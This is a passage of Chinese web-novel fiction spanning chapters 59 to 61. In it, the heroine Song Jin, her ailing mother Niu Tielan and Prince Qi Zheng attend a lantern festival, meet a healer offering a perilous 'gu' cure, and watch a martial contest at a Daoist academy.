一群人就这么前前后后,绕过几片街道,来到放花池 现在已经过了放花灯最热闹的时候,水边只有零零散散的人在那里放着花灯许着愿,水里面则飘满了各种花灯 有那简陋的只是用叶片折成的花灯,也有繁杂的像是艺术品一般的花灯,它们不分大小贵贱,就这样飘在一起,放满了都城人的心愿与祝福 宋锦把宁宁放了下来,把那一大串的花灯一个个拆了下来,全部整整齐齐地摆在河边,她挑了自己最喜欢的一个点燃,冲着其他人抬着下巴 “诺,自己选吧” 这些花灯全都用了上好的材料,外形也异常漂亮,一看价格就不便宜 福哥几个小孩犹豫着 宋锦没管他们,她拿出火折子点燃了自己的灯花,然后,她掏出折叠好厚纸张展开,足足有半人高,上面密密麻麻的写满字 一眼看出,字迹弯弯曲曲的,藏着一个又一个安康幸福的字样 她蹲在河边,闭上眼睛,嘴唇微动,无声地念着一个又一个的心愿,好一会儿才结束,她睁开眼拿起那张写满了字的纸放到花灯上,火焰跳动,点燃了心愿纸,直到燃烧殆尽 花灯放入流水中,一点点朝着远处飘去 她娘一定要好起来啊 …… 福哥几个见她不管他们了,犹豫之下,小心翼翼地走到花灯面前,看着那一大堆漂亮的花灯,小心翼翼地带走了一个,然后撤到另一边 宁宁闭着眼睛站在最中间,奶声奶气地说着:“发财,发大财,买大房子” 福哥几个人忍不住笑了出声,闭上眼,也跟着许起了愿 ‘平平安安’ ‘发财买厚衣服,顿顿吃肉’ ‘找到,找到’ …… 宋锦远远站在一边,看着他们几个小崽子在围城一圈叽里咕噜,觉得有些好笑,又觉得有些可怜 几个孩子一看就是孤儿 她侧头:“这样的孩子,都城也这么多?” 齐铮颔首:“多,甚至比其他地方要多些,都城慈济院会收十岁以下的孩童,再大一些的就只会简单提供住宿,自己去外面想办法。” 被扔掉的孩子,多是那种生病或者残疾的孩子,这种基本活不了两年,便是活下来,长大后日子也艰难,多以乞讨为生 像眼前这些健康孩子还好,小时候慈济院给口饭也饿不死,外面要饭也能活,长大后干点短工,租赁田地,不说日子多好,起码能生活 再不济还有牙行,虽然为奴为婢并不是什么好归宿,但也比饿死冷死来得好 世道就是这般残酷 都城的孤儿们,小时候基本上有专门的慈济院养育,大一点也能找还有各种道场院庙歇息,每年过年过节也会有各家筹钱散粮能混口饭吃,就是买点小东西混日子也比小地方简单 宋锦点了点头,不管哪个年头都有可怜的孩子,这几个孩子还算不错了,就在都城城里,又还有手艺,人也机灵 就是那小女孩,长得有点眼熟 宋锦歪了歪脑袋,想不出来,又不想了,再看着旁边的齐铮,撇撇嘴,道:“岐王殿下又不放花灯,过来干什么?” 齐铮眼睫轻颤:“看花灯” 宋锦轻哼一声:“那您看吧,这几个小崽子就交给您了,我回去了” 她转身就要离开 下意识的,齐铮伸手抓住她 宋锦转过脑袋,瞥着他抓着自己胳膊的手,凤眸眼光流转:“殿下还有什么事?” 齐铮顿了一下,略显仓促地收回手,藏在宽大的袖袍下,微微蜷了蜷,他对着宋锦那 双格外明亮的眼眸,抿了抿嘴:“那个” 宋锦眉眼轻挑,之前华贵的首饰去掉,取而代之是各种材质普通但是有花样的木簪铁簪,配着凌乱起来的头发,没了之前繁艳,又多了无尽的野气,恣意中满是生气 她道:“什么?” 齐铮停顿好一会儿,从袖里掏出一块金镶玉,金虎为形,白玉为心,一看便是巧匠做出来的。他抿了抿嘴:“给你” 宋锦将其拿了过来,到手便一片冰凉,凉飕飕的,很是舒服,她压着打嘴角不由扬起,微微抬起下巴,眼眸闪着碎光,轻哼 “干什么,看我当郡主了,就想贿赂我?” 齐铮不知如何回答,只是轻轻嗯了一声 宋锦轻哼一声,把东西收了起来,带着些小得意:“既然你这么诚心诚意,我就接了,日后有什么需要,本郡主勉勉强强也帮你” 见她如此模样,齐铮眼中闪过笑意,他看着她捏在手里的玉佩,低声道:“这是玉石神奇,冬暖夏凉,夏日你戴合适,等冬日你娘戴着于她身体也有益……” 他也不知道宋锦喜欢什么,她不在意珍稀奇物,也不在意金银珠宝,最在意的就是她娘。这块玉佩价值连城,又冬暖夏凉,她们母女皆合适用,是府里藏品中最合适的,应该能缓和她的气意,也适合贺礼 而这么一说,就是担心她们到时候觉得这般换着用不合适,提前解释,免得有顾忌 没想到说完,宋锦一个用力,直接掐断了手中的金绳 齐铮:…… 他又说错了什么? 宋锦见他一脸不解,拉过他的手把玉石塞了回去,扯出个假假的笑容:“谢岐王殿下的关心,但无功不受禄,您身份贵重,还是切莫这般挂念臣女的母亲,惹来无畏的闲话。” 说着,她转身就走 齐铮迷惑地看着她气冲冲的背影 不过几步,宋锦还是压不住怒气,又气冲冲走了回来,指着他的鼻子,怒气冲冲:“好你个齐铮,我把你当朋友,你竟然想当我爹。没希望,我跟你说这事情不可能,你最好离我娘远一点,不然这个石墩子,就是” 说着她一脚踹向石墩子,将其踹入河边 砰的一声 宋锦运起轻功火速离开,路上但凡野鸟灰鼠蛇虫,通通陪葬 都给她去死 齐铮:…… 让他捋一捋 第60章 十死一生 “哟,瞧这没精打采的模样,怎么,大小姐你也生病了?需不需要老头我给你看一看?” 亮堂的小阁楼里,虫老顶着一头苍白的头发,宛如孩童一般的脸上全是幸灾乐祸,他手上端着一碗冒着怪味的黑药,赤着脚丫,一看就不是什么正经大夫 宋锦坐在木箱子上,掀了掀眼皮,似笑非笑:“我看你头发也有些乱,要不要我给你理理?” 虫老脑海中立马浮现了一些不堪回首的过往,下意识捂住自己不算茂密的白发往后退了几步,远离宋锦,免得新长的头发也保不住 这些日子下来,他对宋锦也没了一开始的惊惧,说话随意不少,他忍不住骂骂咧咧:“不讲道理的小丫头,老头我真是欠你们的” 宋锦心安理得地接受了他的抱怨,耸了耸肩:“这种众所周知的事情就没必要说了” 她可没说自己是讲理的人 这脸皮厚的,虫老一口气梗在心里,瞪了瞪这和宋商一个模子印出来的小丫头,端着手里那宛如毒汤的药,一步一步走去小榻,看着跟要去下毒似的 宋锦大喊:“两军交战,不斩来使,你有什么事冲我来,别牵连我娘” 虫老重重放下药碗,恨铁不成钢地冲着端坐在小塌上人道:“你也管管你孩子啊,当娘的一点威严都没有,这怎么行” 牛铁兰坐在小榻上,她今日穿着一件极为朴素的白衣,头上就扎着个木簪,简单的宛如那观里的道姑,却偏偏给她穿出了几分清闲高雅之意 面对自家闺女,牛铁兰大部分时候都睁一只眼闭一只眼,因为 “她现在已经很听话了” 她言简意赅地阐述了这个听起来很糟糕、但却是事实的事 宋锦乖乖坐在那儿,一没动手,二没骂人,三没做动作威胁人,顶多是说话的语气硬了点,说的话太‘实在’了些…… 用不着管,小孩子有点脾气很正常 牛铁兰说这话的时候神情格外淡定,淡定得虫老心中一梗 是他的错,他就不该寄希望于她这当娘的,当娘的真要舍得下狠心收拾,也不会教出这么个不尊老不爱幼、不讲理还嚣张的孩子了 不过对比第一次见面,现在的宋锦确实‘听话礼貌’,虫老没法反驳,只能憋着气过去给牛铁兰把脉,又问了问她这几日的一些起居变化,心里有数了 “你身体底子比我想象的要好很多,不过要是不好,也不会撑到现在了,你很厉害,不愧是”那人能看中的人 在牛铁兰不解的目光下他把话咽下了,改口道:“能养出这么个熊孩子的人” 母女俩:…… 反将一军的虫老得意一笑,道:“你先把这个药喝了,再喝八次,三日一次,二十四日后正好月圆,便以月影虫为引,开启你的蛊女路。成功了,你以后无惧任何疾病伤害,便是脑袋落地,只要能一炷香之内连起来,都能平安无事” 母女俩听得一愣一愣的 宋锦伸手按住张开的下巴,不可思议道:“你在开玩笑吧?” 虫老说了半天就等着见她们这副吃惊的模样,现在见到了,他满意一笑,带着浓浓的自傲 “我们蛊族便是这般,不然你以为这么多年蛊族少有外出?你娘这个,如果可以,回圣地最好的,那里有古族上千年的虫荫,治疗事半功倍,可惜已经毁了,你娘也没有时间了” 宋锦还是不信:“按照你这么说,成了蛊女之后不是不会死了?” 虫老摇头:“自然不是,蛊女会比寻常人更惧火怕热,火烧也是对她最有伤害的攻击方式,其余的毒、病、寒、外伤内伤,只要还有一息生机,蛊女都能愈合,每任蛊女皆如此” 宋锦咽咽口水:“这般神奇的体质,岂不是谁都想要?” “你以为蛊族是如何颠覆的?你又以为蛊族为何千年以来少有人知?为何那般多的贵人不求这长生?”虫老脸上的笑容一点点褪去,极其严肃又残忍地说道 “因为练蛊者,万不存一,而那一者,又非天眷者不可成。练蛊者需日日承受穿心之痛,受万蛊侵蚀,但凡有一点意外,便死无全尸,非万不得已不可寻。但你们没有选择的余地,接下来的二十四日便是你最后的自由时间,练蛊之后,你的衣食住,甚至行,都必须听从我的要求,不能有一丝一毫的差错” …… 母女俩走出阁楼,狭窄的木质楼梯吱呀作响,掩盖了她们的沉默,一直到下到院子里 牛铁兰停下了步子,她低着脑袋,眉头轻蹙,神色迟疑,扯扯嘴角想说点什么 宋锦一个蹦跳转,身双手放在她的肩膀上,一双凤眸亮得和那天上挂着的太阳似的,里面全是激动和兴奋 “娘娘娘,你听到没有,你以后就跟那山里的石头似的,砍不烂、敲不碎、淹不死,长命百岁岁岁平安……” 但在这之前,她有一万种可能会坚持不下去,也有一万种乱七八糟的死法 牛铁兰不觉得自己会有‘神眷’,她若真有这般幸运,前半生也不会过得如此坎坷 幼时亡家、少年被抓,好不容易得了自由,又看着心爱的人去世,再后面没了健康,现在有点希望了,治疗又如此艰险 她这一辈子就和幸运不沾关系,她所拥有的一切都是自己一点点打拼出来的 在灭门祸事中活下去、从地狱一般的女园逃出去、费劲办法顶身份、立女户、带大孩子、攒下家业…… 一步步全是她自己走出来的 牛铁兰紧蹙的眉头一点点松开,心中的忐忑退缩也跟着散去,她轻扬起嘴角,轻笑:“是啊,你娘以后就是‘不死’之身了,你要是敢不听我的话,真给你腿打断” 宋锦抱着她的胳膊,笑眯眯:“娘你这话说的,我什么时候没听你说话了?” 牛铁兰轻哼:“别给我抠字眼” 宋锦笑嘻嘻挽着她向外走去:“哪有啊,走,我们去外面转一转,这都城风水还是不错的,咱们娘俩来了之后日子一日比一日好呢” 她娘的身体有了解决办法,还能拥有强大的愈合体质——宋锦其实并不太怀疑,说到底,这边的内力就是前世的异能,那蛊女之体说是拥有强大的愈合异能,听起来就非常合理了 而她自己,现在郡主之位在身,说起来在都城也是横着走了 这三清观还是有点东西 宋锦笑道:“娘,我们去道学看看?” 养兽堂不远处就有道学院和武学院,附近很多‘奇才’都出自那边,而且据说那边招收的人都有男有女,应该还挺有意思的 牛铁兰扬着笑,点了点头 后面的事谁也说不准,但是至少此后的二十四天,她可以好好享受一下 她们朝着外面走去 一路上来来往往的人不少,牵着狗抱着猫甚至还有拎着灰老鼠鸟笼的人 牛铁兰的目光从他们身上略过,一直到走出了兽堂,也没见到那眼熟的人,她不知该遗憾还是该松口气 她的脑海中又晃过上次见面的画面 金铃花开 金铃 阮金玲,她的原名 牛铁兰坐在牛车后座,看着后退的街道行人,目光落在那散落的桂花树上,桂花金黄,香味馥郁,可以观赏,又可以用来制香酿酒入药做食,是很有用的花树 还有丁香、木兰、栀子、牡丹、秋菊…… 每一样她都能说出数十种用处 不是因为她厉害,而是那时数年日复一日的研磨,让她早就将其融入骨血,那是她以往最为厌烦的东西,却也是她这些年的立身之本 牛铁兰想起那年十死一生的出逃,当年还不觉得有什么,现在想想也不过是他们刻意而为,不然她哪能这么顺利地跑出去,还一出去就碰上了那人 只不过当时的她被喜悦冲昏头脑,完全没去想那些 直到那人出事,她身子也莫名其妙地虚弱了下去,她才察觉到自己好像从一开始就没有逃出去,只不过从一个小园子里跑到了大园子 她当时就想,她得跑,跑得越远越好,就是死也要死在外头。她顾不得那么多,易了容雇了人马离开,跨过了大半个大衍,去到了青郡府,在路上碰上了被土匪杀死的宋家夫妇 看着那和她形态相似的‘牛铁兰’,她就产生了这么个鸠占鹊巢的想法,她也确实成功了,简单易容后,她顶替‘牛铁兰’的身份入了宋家,后又常年不出小院,等到孩子能走动了,又被‘赶’了出来 自此,世间再无阮金铃,唯有寡妇牛铁兰 即便现在她这壳子被撬得差不多,她也并不打算做什么改变,她喜欢这个名字,也喜欢现在这个自由的她,能怒能骂能吼,能打牌能挖地能爬树,是她曾经梦过千万次的生活 曾经的阮金玲,只不过是那乱世中,一个除了美貌一无所有的可怜人 而现在的牛铁兰,是一个丧夫但快乐幸福的寡妇。她觉得挺好的,就是有些杂乱的谜团杵在眼前,让她不知道该不该翻一翻 “翻” 一声清脆大叫传来 牛铁兰杂乱的思绪顿住,再一转头,她旁边那么大一个闺女消失,一个眨眼的功夫人就跑到了前面十来米的位置,压着马上就翻倒的马车,接住了掉落的麻袋扔回去 “翻了翻了,师傅你注意一点,以后别装这么多东西,绳子栓稳一点儿” 车上的师傅眼睁睁看着掀起的马车又侧了回来,一颗心也砰砰狠跳,他狠狠擦了擦脑袋上的汗水,跳下牛车,再一看宋锦,一颗心差点跳出来,声音变形 “哎哟,就你一个小丫头?东西掉了就掉了,砸到你怎么办,你没伤着吧” 宋锦手肘按在车上,神采飞扬:“别怕,我力气大着呢,师傅你还是担心担心自己吧,你手” 马车师傅也才有空注意自己,他嘶了一声:“应该是刚才扯到了,不碍事,我把东西送过去就去看看,谢谢你了姑娘” 宋锦瞅了两眼:“要不我帮你看看?我学过几年医” 那马车师傅看着宋锦这长相和衣服,怎么看怎么不像医女,但是联系到她刚才帮的忙,他顿了下点点头:“那就麻烦姑娘了” 宋锦过去,拉过马车师傅的手,他手上肌肉爆起,青筋扭动,一看就是常年干用手的,这会儿手肘微微有些扭曲,她轻轻按了按,在马车师傅嘶气声中,两只手那么一扯,咔擦一声 马车师傅懵了一下,再低头看看手,看看宋锦,再看看手,惊奇:“好,好了?” 宋锦笑着放开人,挑眉:“手艺还行吧?” 马车师傅给她竖了个大拇指:“是这个,姑娘你不会是武学院的学生吧?” “没呢,不过听说武学院和道学院就挨在一起,我和我娘正打算去那边看看,哎,不对,我娘呢?娘,娘” 宋锦说着一个转头,后面马车上已经没了牛铁兰的身影,她瞬间瞪大眼睛,下意识左右转了一圈,见到了不知何时上千的人影,她松了口气,幽怨 “娘你怎么乱跑啊” “这话留给你自己”牛铁兰手上抓着一把粟米,瞥瞥她,把粟米放回那麻布袋子里面,对着牛车师傅道,“袋子破了,捆一下吧” 牛车师傅愣了一下,黝黑的脸上都能看出两分红意,他连连点头:“哎,哎,哎好的,夫人,我看看,看看” 宋锦撇了撇嘴,拉过她娘后退两步,道:“走吧娘,这边也没几步了,我们走过去” 牛铁兰嗯了一声 那师傅连忙道:“哎,姑娘,夫人,你们等等,等等,是去道学院吧?我是那边后厨的,我带你们去吧” 宋锦微微眯起眼睛,看着面前五大三粗黑漆漆的中年大叔,嘴皮一动 牛铁兰揪着她的头发后退,冲着人点了点头:“那就麻烦师傅了,我们来都城没几日,第一次过来这边” 师傅重新绑了绑车子,就走在路边赶着马车,红着黑脸:“我听着也不太像,你们是青郡府那边来的吧?” 牛铁兰:“能听得出来?” 马车师傅笑:“能,学院里胃口最大的小子就是青郡府来的,我听着口音有点像,你们是过来都城是?” 牛铁兰言简意赅:“看病,师傅是都城本地的?” 师傅:“是呢,我祖上三代都在这边了,以前开了个饭馆,但是前朝那狗皇帝不做人,唉,家里店实在开不下去了,后面这些年就一直在道院里面帮厨,今日是原本拉东西的老杨生病了,我过来替一替他” 宋锦撇嘴:“难不怪要翻车” 师傅尴尬:“还好有丫头你,不然粮食掉了,大家晚饭只有饿肚子了,你们说去学院看比武吧?一会儿我带你们去里面看,今天人多不好挤进去” 宋锦挑眉:“比武?你们道学院也这样呢?我还以为只有武学院有呢” 师傅哈哈一笑:“也没说错,就是我们道士学院和武学院比武,弄了好几年了,每月十六一小比,新年一大比。小比在院里,大比在外面,大家没钱捧个人场有钱捧个钱场,还会有坐庄押胜负的,可热闹了,你们到时候一定要看看” 宋锦来了兴趣:“还能这样?这院长还挺有赚钱头脑啊” 也不怪这些个学院这般兴盛,除了信教以外,人家还会赚钱呢 又是摆摊算命看风水,又是表演才艺,现在还搞格斗场 师傅也不生气,哈哈大笑:“大家看个热闹,我们也混个日子” 宋锦说着就忍不住捏了捏手,刚想开口,牛铁兰一个眼神过来,她立马怂下脑袋,嘀咕:“我都还没说呢” 就她这姿势,不用开口就知道她想干什么 牛铁兰瞥:“想都别想” 宋锦撇嘴:“不想就不想嘛” 她眼珠子一动,牛铁兰就知道她想干什么,不过多说无益, 到时候把人看紧点就是了。以前是个疯丫头无所谓,现在好歹是个郡主,怎么也得注意点 再说了,牛铁兰刚才主动搭话可不是为了给宋锦找机会的,她停顿了一下,转过脑袋,对着一直用眼神悄咪咪看过来的师傅,问 “师傅是都城本地人,那你应该知道金陵山的金玲花吧?” 本来在哪里嘀嘀咕咕的宋锦瞬间抬起脑袋,神色也警惕了起来 金铃什么金铃? 师傅没想太多,见牛铁兰开口,那叫一个知无不言言无不尽,热情道:“知道啊,金铃花可好看了,花开时候一片山就跟那金山一样,好看得不得了,风一吹全是叮铃铃的声音,可神了” 牛铁兰声音轻轻:“是吗?金色铃铛?我以前没听过这种花,是都城本地的?” 师傅笑:“那不是,我们以前也没听过,十五年前,山上突然全是金铃树了,开花时候那叫一个漂亮,这几日正是好看的时候,夫人,和姑娘一定要去看看” 牛铁兰若有所思,声音轻轻:“是要去看看” …… 说话间,她们到了道学院门口,也可以说是到了武学院门口 两边大门正对,现在也敞着大门,穿着蓝色道服的道士和穿着黑色武服的武子来来往往 道士身形削瘦,内敛有劲;武子五大三粗,力道外放 两边一个讲究以柔克刚,一个实行一力破万力 因为上个月是道学院赢了,所以这个月在道学院比斗,观赏费,也由道学院来收 师傅带着她们绕过这边来到后门:“我们走这边进去,就不用给钱,一会儿放好东西我带你们去里面看,现在还没开始” 牛铁兰:“麻烦师傅了” 师傅笑:“不麻烦不麻烦,今日多亏夫人了” 宋锦眯着眼睛:“多亏我吧?” 师傅不好意思地摸了摸鼻子:“姑娘和夫人,都一样,一样哈哈,别介意” 宋锦不乐意,瞅着一边的高墙,思索着带自家娘亲飞进去的可能 牛铁兰揪住她的胳膊,跟着牛车师傅往里面进去 宋锦嘀咕:“我们又不缺这两文钱” 牛铁兰瞥:“那你自己交钱进去” “……” 那是不可能的,眼看着这师傅‘心怀不轨’,她哪里还可能让自家老娘和他单独接触,必须严防死守,让他连说话的地都没有 她表现得过于明显了,师傅也从一见钟情中醒了过来,尴尬道:“我没有别的意思,姑娘别担心” 宋锦呵呵,嘀咕:“眼睛都快放我娘身上了,你看我信吗?” 牛铁兰容貌本就出众,以前因为病体还有些弱不经风,美貌被病色压下几分,现在吃了那奇怪的药,她脸色红润,皮肤赛雪,清丽淡雅,婀娜袅袅,是人群中一眼看去的大美人儿,很难让人挪开眼睛 不像宋锦,美归美,但个性太强,压过了美,让人更容易注意到她的刺头气 师傅目光飘忽,看到牛铁兰淡然的模样,更是不好意思了起来,摸了摸鼻子:“窈窕淑女,君子好逑,不过我不是君子,有自知之明,姑娘不用担心” 就凭母女俩的容颜气度,他也知道她们只是性子随和,身份并不简单 宋锦轻哼:“算你有自” 牛铁兰警告:“宋锦” 宋锦闭上嘴巴 牛铁兰再开口:“师傅莫怪,这孩子和我从小相依为命,性子骄纵,对谁都这模样,你别放在心上” 师傅更不好意思了:“是我冒犯了,夫人莫怪我就好了” 牛铁兰早就习惯了这些注视,只要不带恶意,倒是无妨,她摇了摇头:“无事” 因为这茬,师傅也不急着下粮食,拉着牛车进了道观,就带着母女俩朝着比武场进去,那是个很大的院子,里外已经集满了人 一个人十文,这么些人算下来又是好几两了 而这师傅一看也是很有颜面,带着她们从隔出来的小道进去,一路上就有人和他打招呼 “马师傅” “马哥回来了” …… 至于宋锦和牛铁兰母女俩,虽然非常惹眼,但是两个女子,在场的人激动也还是守些规矩,没有乱嚎——容易被赶出去 宋锦目光略过人群,一眼过去也看到了很多女人家,不说一半,也有三分之一,大多身边都跟着男子,应该是亲朋结队而来的 这里面大多是些普通男女,但也不乏有钱人家公子小姐 看样子,这个比斗在都城应该是挺有名的项目,不然不会有这么多人慕名而来 马师傅却道:“其实平日没有这么多人,这一次是因为金玉阁小少爷出了五百两银子做赌,让新来的矛泽道长第一次出场,所以格外热闹” 宋锦心中涌上一股不祥预感:“什么矛泽?” 马师傅带着她们走到最里面,一群道士学子三三两两站在一起,眼神电光闪烁,全是对于五百两赌注的渴望 这次比武,他们必赢 武子们一个个人高马大,个头高不说,就连胳膊大腿也一个顶三,站在那儿就跟一堵墙似的。他们赤裸着上半身,皮肤黝黑,肌肉健实,远远看着,一股浓烈的力量感便扑面而来,很是吸引人的目光 但对面的道士,看起来却更为惹人眼球 他身形颀长,身着浅蓝色道袍,从头到脚穿得严严实实,只露出修长的脖颈和分明的手腕,他就那么端正而立,凤眸微抬,微微颔首,站在那儿,脑门上就刻了个道字 端重克己、直正廉明、神采英拔 同一瞬间,宋锦的脑中警报声响起,她拉起牛铁兰就要转身 无奈母女俩一身气度过于惹眼,宋锦又着一身红衣,乍一走进人群中,便吸引了所有人的目光 刚才还端正克己的人静静看了过来,幽深的凤眸静静看了过来,他的嘴角扬起一抹弧度,嘴唇微动 周围人多喧闹,他又是低语,不应听到他的声音才是 但牛铁兰的耳边就是传来了他那一惯轻缓,徐徐得缱绻的又暧昧声音 “夫人来了啊”【你现在阅读的是 】 60-70 第61章 夫人现在后悔了? “两位也知道,我家住附近……” “停,谁要听这破话,你住这边和你在道观有什么关系?你这一身,怎么的,失忆了六根清净,打算直接出家?” 宋锦很想扭头就走,但是已经和人对上了,掉头就走倒是显得她们娘俩怕这人,那肯定不行,于是他们又重复了这段非常眼熟的剧情 她打断这人废话,眯着眼睛打量着一身道服的曲茂泽,狐疑中带着烦躁 虽然曲茂泽确实住在这边,但按永安城的大小,一个区也比一般府城大。一个个街道一排排房子,她们坐马车穿过也要小半个时辰 他倒好,神出鬼没,阴魂不散,哪哪都有 如果说之前这人别有用心,特意打探消息凑过来是不安好心,但今天她们过来还真是突发奇想 怎么还能遇到? 面对宋锦的阴阳,曲茂泽淡然一笑:“出家是佛教的说法,道教是入道,道法讲究随心,有时候心烦练个功,人也清静了。而且,做道士不影响成家生活” 宋锦无语:“……谁在意你成不成家了,你这道倒是入得快,过来都城还不到一月,都能柴火棍单挑大青树了” 那武馆的人,肉眼看着强壮,实际上一点都不假把式,人底盘稳着呢,一般人被打一拳骨头都得裂。这人凭这身板,不说打败对方了,但凡内力巧劲差一点,就 等着被摔得稀巴烂吧 她冷笑:“我看你这次就不仅摔失忆,连脑花都要摔出来了” 曲茂泽却是一点儿也不担心,淡定得就像对面要和他比斗的人不是大汉,而是个小孩,他沉稳一笑:“宋小姐无需担心,就是简单的点到为止,又有王爷坐镇,不会出事的” 宋锦:“……谁?” 曲茂泽:“岐王殿下,殿下厚道,得知此事特意过来。殿下武力高深,有他坐镇定然不会出事” 宋锦更想扭头就走了 这一天天的,出门都碰上些什么妖魔鬼怪啊 但还是之前的话,她走了显得她怕他们似的,她盯着曲茂泽,阴阳怪气:“哦,原来是这样啊,看来你和岐王殿下这些日子相处得还不错,这都跟兄弟一样,生怕你出事啊” 这模样一看就是闹了矛盾 曲茂泽无奈摇头,转移话题:“我一介白身子,当不起这个,倒是夫人,几日未见,看起来越发精神了,昨日中秋晚宴可顺利,应该无人对您不敬吧?” 牛铁兰目光落在他的脸上 眼鼻嘴脸,无一不似那人,唯一的不似,也就是十来年过去了,他的神态依旧留在那个年岁,没有丝毫四十岁的姿态 让她一开始便排掉了那个可能 她想到了自己身上的蛊,轻轻按了按心口 曲茂泽眉眼一顿,靠近两分:“夫人可是不适?这边人多嘈杂,没什么好看的,不如去外面歇息” 宋锦也瞬间扶住人,关心:“娘你怎么了?” 牛铁兰摇了摇头,收回了手,眼眸微抬,看着曲茂泽,轻声道:“无事,就是这般多人,让我想起了一些往事” 宋锦扶着她,好奇:“什么往事?你以前也打架?” 牛铁兰深吸一口气,似笑非笑:“我现在也能打人,要不要看看?” 宋锦瞬间转移话题:“……哈,哈哈,娘你刚才说的往事是什么来着?” 牛铁兰再次看向曲茂泽,目光悠悠:“就是我怀你那年,我坐着车马路过明塬府,那边也有个很大武馆,每年也有比武日,我那年去的时候就碰上他们比武,比今日还要热闹” “夫人说的应该是明塬府城的青龙武馆,武馆传承数百年,每年招收不少武子,其中不少人考上成了朝廷的武举人,有的创建镖局走南闯北,更有励志行侠仗义的侠客,天南海北都有学子” 齐铮不知道什么时候走了过来,他一身黑衣,神色冷肃,不苟言笑,看起来难以相处,但其实心细体贴,也没什么架子 牛铁兰很喜欢这个年轻人,她笑着行了个礼:“参见岐王殿下” 他轻轻侧开,颔首:“夫人无需多礼” 牛铁兰起身,笑道:“殿下也去过明塬府?我也不确定是不是这个,只记得他们的馆长姓李” 齐整颔首:“那就是了,青龙武馆的馆长叫李风,从小习武,武力高深,当年平定天下时候杀敌无数,后面拒绝了父皇封官,回去重建武馆,不慕虚名,乃一代宗师,常人难比” 牛铁兰轻轻叹息:“竟这般厉害?我当时一路上有他相送,也不怪当时会如此顺遂了。说来好笑,他当时见我孤身一人,还曾求娶于我,不过被我拒绝了。若是当时同意,金金和他相处定然不错” 齐铮:…… 不用抬头,他就能感受到一边怒意了 曲茂泽站在原地,静静看着牛铁兰,轻声:“没想到夫人还有这般往事” 牛铁兰微微一笑:“虽然我现在不如曲公子年轻,但也年轻过,只怪以前年轻气盛,想事情也想得少了些,无端错过许多” 三个年轻,各个都轻缓地咬着字 曲茂泽嘴角轻扬:“看上去,夫人现在后悔了?” 牛铁兰撩了撩散下的秀发,垂眸:“人这一辈子,错之毫厘差之万里,一步错又步步错,后悔不好说,遗憾多少有一些吧?不过曲公子应该不懂这些,你这么年轻,又失了忆,无忧无虑,想想也挺好的” 曲茂泽叹气:“夫人这话说的,在下竟不知如何反驳。” 牛铁兰弹了弹衣袖上的粮渣,淡淡道:“毕竟摔了脑子失了忆,想不出来就别想了,你还是小心一会儿别摔傻吧,好好准备,我们就不打扰你了” 说着,她错身往里走去,那边有专门准备好的简单座位,上面坐着几个一看就有钱的富家子弟 几个人本来是过来凑热闹的,没想到凑出了个岐王,这已经够吓人了,现在又还有个这几日风风火火的宋首辅之女,不对,现在已经是明光郡主了 早知他们过来,他们今日就不出门了 一群人带着凑热闹的心来,现在一个比一个鹌鹑,一句多余的话都不敢说 英国公世子都被挂树上了,他们这些小人物还是老实点比较好 一堆人里面,最为惶恐的就要数用五百两银子搅起这场比斗的金玉阁小公子了,他此刻恨不得找个地洞钻进去,就是跳河里也清静 偏偏他一来就很嚣张地坐到了最前面,现在想走也走不了,只能尴尬地看着在他附近坐下的牛铁兰,擦着冷汗,磕磕巴巴 “宋,宋夫人也来看啊,这边人多,小心惊扰了您” “用不着你担心”宋锦跟了过来,坐在自家娘亲旁边,抬脚往旁边凳子上一踩,嗤笑一声,“就是你小子出的五百两啊?不错不错,有些家底嘛” 她以前认识的公子哥也就舒程浩这个书店小老板了,虽然家里可以说赚钱如流水,但是他的私房钱嘛,让他拿五十两出来都要破产,别说轻松拿五百两了 戴元华擦着冷汗,尴尬:“郡主,郡主说笑,小的家里就是做点小买卖,是我纨绔不懂事,我这就取消” 宋锦挑眉:“取消什么?怎么,你小子风头出了,现在钱还想收回去?美得你呢,坐好,你觉得谁会赢?” 戴元华小心翼翼:“矛泽道长神秘莫测,肯定不会输” 宋锦好奇:“你怎么缠上他的?” 就凭借曲茂泽的性子,不管真失忆还是假失忆,应该都不会特意来出这个风头——五百两银子赌资除外 戴元华挠了挠头,道:“我上次在城中骑马,差点摔下去了,是道长救了我。我想和他学武,但是他不理我,后面发现他在这边,就想了这个主意引起他的注意” 宋锦嘲弄:“……你不如直接说给他钱,他肯定理你” 戴元华不好意思道:“道长性情高尚,那也太侮辱人了,我虽纨绔,也懂这个道理” 宋锦嘴角一抽,不知该说他聪明还是傻 这两样不都半斤八两嘛,曲茂泽能理他才奇怪了 不过这人傻归傻,长得还挺好看的,唇红齿白,金玉其外,倒是和他金玉阁小公子的称号很贴了 牛铁兰定定地看着他的脸,脑中不禁闪过故人的脸面,她微微蹙起了眉,问道:“小公子长得好看,你娘定是个美人儿吧?” 戴元华傻笑:“我娘可好看了,我就随了我娘,每次惹祸我爹都不舍得打我,不像我哥他们” 牛铁兰又问:“你娘叫什么名?” 戴元华挠头,迟疑道:“家母叫,侯巧荷” 牛铁兰顿了顿,随后点了点头:“是个好名字” 戴元华:…… 这位夫人怎么怪怪的 不过她长得可真好看,也不怪宋首辅那般铁石心肠的人也动了心,两人还能有了孩子 这勇气,也是狠人了 戴元华虽然心有疑惑,还是闭上嘴巴,一个字不敢多问,坐在那里比鹌鹑还鹌鹑,尤其是随着齐铮也过来坐上 砰的一声 宋锦踩在脚下的凳子瞬间碎裂,摇摇晃晃之间,她收回了脚,似笑非笑地看着过来的齐铮 “这凳子可真不结实,没法坐了,殿下换个位置吧,免得伤了您金贵的身体” 齐铮深色不变:“不碍事” 说着,他越过她朝着另一边走去 宋锦瞬间变脸跟着起身,在他之前抢先一步坐在牛铁兰旁边的位置上,睁着大眼瞪着齐铮,磨着牙:“殿下应该不介意坐我旁边吧?” 齐铮眼中笑意一闪而过,淡定地坐下,在她嫌弃的目光下,侧头看向另一边的牛铁兰,问道:“刚才夫人说到明塬府,也让我也想起一段往事” 牛铁兰正要掐上宋锦的手顿住,轻声接话:“殿下可愿一说?” “自然,不过那时候我也不过五岁,记忆并不是特别清楚,只记得那年和养父路过明塬府附近,当时候养父伤了腿,我也染了风寒,恰逢细雨蒙蒙,行走艰难,后遇一车队” 齐铮垂着眼眸,声音低沉,说到这儿他顿了一下,侧过头看着牛铁兰,露出相识以来第一个真正意义上的笑容,他道 “车上夫人宛如神女,不仅一路免费相载,还为我缝补衣服做了新鞋,便是多年过去,也记忆犹新。” …… 